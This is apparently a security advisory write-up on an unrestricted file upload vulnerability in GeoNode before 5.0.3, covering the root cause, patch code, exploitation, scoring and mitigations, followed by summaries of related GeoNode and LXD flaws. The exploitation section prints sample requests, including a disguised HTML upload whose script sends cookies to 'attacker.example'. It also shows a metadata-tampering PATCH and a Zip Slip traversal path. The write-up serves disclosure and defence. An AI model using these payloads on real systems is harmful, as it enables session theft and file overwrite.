Nov 7, 2026·10 min read·1 visit
An upload validation bypass in GeoNode (< 5.0.3) allows low-privileged authenticated users to upload arbitrary files, mutate document extensions via the REST API, and submit malicious archives containing path traversal sequences or zip bombs. Upgrade to GeoNode 5.0.3 to enforce magic-byte inspection, archive safety validation, and REST API restrictions.
GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.
GeoNode is an open-source geospatial content management system built on Python, Django, and Django REST Framework (DRF). It provides a platform for the management, publication, and sharing of geospatial datasets and supporting documents. Because collaborative data sharing is a core function of the platform, GeoNode exposes multiple HTTP endpoints that allow authenticated users to upload and manage datasets, metadata files, and static documents.
In versions of GeoNode prior to 5.0.3, the file upload and document management subsystems suffered from insufficient input validation and inconsistent security controls across ingestion endpoints. Tracked as CVE-2026-46429 (and GitHub Security Advisory GHSA-fqpv-mq26-pr4j), this vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). The flaw stems from relying solely on filename suffix checks rather than inspecting actual file contents, alongside exposing unhardened REST API methods that permit direct creation and manipulation of document records.
A remote, authenticated attacker with low privileges can exploit these weaknesses to upload arbitrary binaries, scripts, or active web content (such as HTML or SVG files containing JavaScript) disguised with permitted extensions. Furthermore, attackers can send HTTP PATCH requests to the REST API to mutate the stored filename, extension, or file path metadata of an existing document after initial ingestion.
In addition to file type masquerading, the archive ingestion workflow lacked pre-extraction verification for .zip, .kmz, and .xlsx containers. Attackers could submit archives containing directory traversal sequences (Zip Slip), symbolic links pointing to internal system files, or high-compression payloads (zip bombs). Depending on how downstream services or victim browsers interact with the stored files, exploitation results in stored cross-site scripting (XSS), unauthorized filesystem access, or application denial of service.
The root cause of CVE-2026-46429 is an architectural divergence between GeoNode's web upload handlers and its REST API endpoints, compounded by the absence of content-level inspection and archive validation. Prior to version 5.0.3, GeoNode maintained two primary entrypoints for handling documents: the traditional Django web view (DocumentUploadView at /documents/upload/) and the Django REST Framework viewset (DocumentViewSet at /api/v2/documents/).
Within DocumentViewSet, the API exposed POST and PUT methods that accepted doc_file, file_path, and doc_url parameters processed through DocumentSerializer. During object creation in perform_create(), validation relied strictly on parsing the filename string using pathlib.Path(filename).suffix and comparing the extracted string against settings.ALLOWED_DOCUMENT_TYPES. The server performed no magic-byte inspection via libmagic to verify that the underlying binary stream matched the declared file extension. Consequently, any file payload was accepted as long as its filename ended with a whitelisted suffix such as .pdf, .png, or .xml.
A secondary root cause existed in the mutability of model fields within DocumentSerializer. Critical attributes—specifically name, extension, and files—were not declared in read_only_fields. An authenticated user with edit permissions on a document record could submit a PATCH request to /api/v2/documents/{id}/ to overwrite the extension field to an arbitrary executable or active type (e.g., exe or html), or modify the files array to reference arbitrary paths on the server filesystem. Because GeoNode uses these model attributes to locate files on disk and determine the Content-Type header when serving downloads, post-upload mutation bypassed initial ingestion controls.
Finally, GeoNode's archive handling routines processed compressed uploads without inspecting the ZIP central directory prior to extraction. When handling .zip, .kmz, or .xlsx files, the system did not check individual archive entries for relative path traversal sequences (../), leading slashes, POSIX symbolic link file attributes (S_IFLNK), or disproportionate uncompressed-to-compressed size ratios. This exposed the underlying filesystem and worker processes to path traversal overwrites, unauthorized file reads via symlinks, and disk or memory exhaustion.
The remediation implemented in commits 239a6b49c925957197033831df5f20c4c13a14da and 16ec8b3914fe87d0a258c14cf73b0a4295bb072f overhauls both the REST API surface and the core Django upload handler pipeline. The first major change restricts DocumentViewSet in geonode/documents/api/views.py and geonode/documents/api/serializers.py to prevent direct file ingestion and metadata tampering via the API.
# BEFORE: geonode/documents/api/views.py (Vulnerable)
class DocumentViewSet(DynamicModelViewSet):
# Default http_method_names allowed GET, POST, PUT, PATCH, DELETE
def perform_create(self, serializer):
# Validated only Path(filename).suffix against settings.ALLOWED_DOCUMENT_TYPES
...
# AFTER: geonode/documents/api/views.py (Patched)
class DocumentViewSet(ApiPresetsInitializer, DynamicModelViewSet, AdvertisedListMixin):
"""
API endpoint that allows documents to be viewed or partially updated.
Document creation is intentionally not exposed here -- use the
/documents/upload/ endpoint (DocumentUploadView) so that uploads go
through the FileValidationUploadHandler magic-byte check. Full PUT
replacement is disabled; only PATCH metadata edits are allowed.
"""
http_method_names = ["get", "patch"]
permission_classes = [IsAuthenticatedOrReadOnly, UserHasPerms]In DocumentSerializer, the patch locks down file location and type attributes by adding read_only_fields = ("name", "extension") and removing the writeable handling of file_path, doc_file, and files during PATCH operations. This ensures that all document creations must traverse /documents/upload/, where streaming upload handlers are active.
To enforce content verification, the patch introduces FileValidationUploadHandler in geonode/upload/uploadhandler.py. Registered within Django's FILE_UPLOAD_HANDLERS, this class intercepts incoming file streams in chunks, buffers the first 8192 bytes, and uses python-magic to verify that the detected MIME type corresponds to the declared file extension.
# AFTER: geonode/upload/uploadhandler.py (Patched)
def _validate_magic_mime(self):
sample = bytes(self._buffer)
if self.extension in self.magic_mimetype_map:
self.detected_mime = self._detect_mime(sample)
if self.detected_mime not in self.magic_mimetype_map[self.extension]:
self._reject(
f"Detected content type '{self.detected_mime}' "
f"does not match extension '.{self.extension}'."
)When _reject() is triggered, the handler raises Django's StopUpload(connection_reset=False), halting disk writes immediately and returning an HTTP 400 Bad Request response. Additionally, the patch introduces geonode/upload/zip_validation.py containing validate_safe_zip(). This utility inspects the central directory of all ZIP-based formats before extraction, enforcing a maximum of 10,000 entries, a 2 GiB uncompressed size ceiling, a 100x maximum compression ratio, and rejecting any entry containing .. segments, NUL bytes (\x00), or symlink file mode bits (stat.S_ISLNK(info.external_attr >> 16)).
> [!NOTE]
> Fix Completeness Assessment: The combination of streaming magic-byte verification, archive central directory validation, and removal of POST/PUT from DocumentViewSet effectively closes the primary attack vectors. However, magic-byte inspection only evaluates the first 8192 bytes of a file; polyglot files (such as a valid PDF or image header containing embedded scripts or archive payloads at the end of the file) may still pass libmagic checks if downstream parsers or browsers interpret them loosely.
Exploiting CVE-2026-46429 requires a low-privileged user account with standard authentication permissions on a vulnerable GeoNode instance (< 5.0.3). No specialized network positioning or complex race conditions are required. The attacker can choose from three distinct exploitation methodologies depending on their objective.
The attacker crafts a malicious file—such as an HTML document containing JavaScript for session hijacking, or an executable binary—and renames it with a permitted extension like report.pdf or style.sld. The attacker uploads the file via /documents/upload/ or POST /api/v2/documents/. Because GeoNode prior to 5.0.3 checks only the .pdf suffix, the upload succeeds.
POST /api/v2/documents/ HTTP/1.1
Host: geonode.example.com
Authorization: Bearer <low_priv_token>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="title"
Quarterly Geospatial Report
------Boundary
Content-Disposition: form-data; name="doc_file"; filename="report.pdf"
Content-Type: application/pdf
<html><script>fetch('https://attacker.example/exfil?c='+document.cookie)</script></html>
------Boundary--After uploading a benign file (or the masqueraded file above) and receiving its document ID (e.g., 42), the attacker sends an HTTP PATCH request to /api/v2/documents/42/ to alter its extension or files attributes. By changing extension to html or svg, the attacker forces GeoNode to serve the file with an active MIME type when another user or administrator accesses the document download link.
PATCH /api/v2/documents/42/ HTTP/1.1
Host: geonode.example.com
Authorization: Bearer <low_priv_token>
Content-Type: application/json
{
"name": "malicious_payload",
"extension": "html",
"files": ["/var/www/geonode/uploaded/documents/report.pdf"]
}Alternatively, the attacker constructs a ZIP or KMZ archive containing entries with relative path traversal sequences (e.g., ../../../../etc/cron.d/persist) or POSIX symbolic links pointing to sensitive configuration files (such as GeoNode's local_settings.py). When submitted to the dataset or document upload endpoints, unpatched extraction routines process these entries without validating the ZIP central directory, resulting in arbitrary file overwrites, unauthorized data exposure, or resource exhaustion via high-ratio zip bombs.
CVE-2026-46429 is assigned a CVSS v3.1 base score of 5.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L. The score reflects that exploitation is network-accessible (AV:N) with low attack complexity (AC:L), requiring only low-level privileges (PR:L) and user interaction (UI:R) for client-side execution scenarios.
Confidentiality Impact (Low): By modifying the files attribute via PATCH /api/v2/documents/{id}/ or uploading archives containing symbolic links (S_IFLNK), an attacker can reference files located outside the designated upload directory on the server filesystem. If the GeoNode application process has read permissions on those targets, the attacker can download sensitive configuration files or internal application data. Additionally, stored XSS payloads executed in the browser of an administrative user can exfiltrate session tokens or sensitive geospatial datasets.
Integrity Impact (Low): Attackers can store unauthorized file types on the server and manipulate document metadata mappings. When exploiting the lack of path traversal validation in ZIP/KMZ uploads, an attacker may overwrite files on disk within the permission boundary of the Django/WSGI worker user. Stored XSS also enables attackers to perform unauthorized state-changing actions within the GeoNode application on behalf of victim users.
Availability Impact (Low): Prior to the introduction of validate_safe_zip(), GeoNode did not enforce limits on entry counts, total uncompressed size, or compression ratios for uploaded .zip, .kmz, and .xlsx files. An authenticated user can upload a compact zip bomb that expands to multiple gigabytes or creates tens of thousands of inodes upon extraction, exhausting disk space, memory, and worker CPU threads.
Organizations operating GeoNode should upgrade immediately to version 5.0.3 or later, which contains the comprehensive upload validation architecture introduced in pull requests #14223 and #14224. For deployments managed via pip, execute the following upgrade command and restart all Django WSGI/ASGI application workers and Celery task runners:
pip install --upgrade "geonode>=5.0.3"Ensure that the underlying operating system has the libmagic C library installed (e.g., apt-get install libmagic1 on Debian/Ubuntu or dnf install file-libs on RHEL/Rocky Linux), as the new FileValidationUploadHandler relies on python-magic to perform streaming MIME type verification. Additionally, verify that custom project settings do not override FILE_UPLOAD_HANDLERS in a manner that omits geonode.upload.uploadhandler.FileValidationUploadHandler, and confirm that ALLOWED_DOCUMENT_TYPES is synchronized with the hardened defaults in geonode/settings.py.
> [!IMPORTANT]
> Upgrading to 5.0.3 disables POST and PUT requests on /api/v2/documents/. Any external integrations or automated scripts that previously created documents via /api/v2/documents/ must be updated to submit uploads through /documents/upload/.
If an immediate software upgrade is not feasible, administrators should implement compensating controls at the reverse proxy or Web Application Firewall (WAF) layer. Configure NGINX, Apache, or a WAF to block HTTP POST and PUT requests targeting /api/v2/documents/ and /api/v2/documents/*. Furthermore, inspect incoming HTTP PATCH request bodies targeting /api/v2/documents/* and reject payloads containing the JSON keys "name", "extension", "files", "file_path", or "doc_file".
Finally, security teams should audit existing document storage directories on GeoNode servers to identify any previously uploaded masqueraded files. Administrators can run file --mime-type across the document media root to flag discrepancies between file extensions and actual file headers, and review database records in the documents_document table for anomalous path references.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
geonode GeoNode | < 5.0.3 | 5.0.3 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-434: Unrestricted Upload of File with Dangerous Type |
| CVSS v3.1 Score | 5.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L) |
| Attack Vector | Network (Authenticated HTTP requests to /api/v2/documents/ and /documents/upload/) |
| Affected Software | GeoNode (geonode) versions prior to 5.0.3 |
| Patched Version | GeoNode 5.0.3 |
| Impact | Arbitrary file upload/serving, metadata manipulation, Zip Slip path traversal, and zip bomb DoS |
| Exploit Status | No known public exploits or active exploitation |
| CISA KEV Status | Not Listed |
The product allows the attacker to upload or transfer files of dangerous types that can be processed within the product's environment or served to downstream users without sufficient verification.
CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.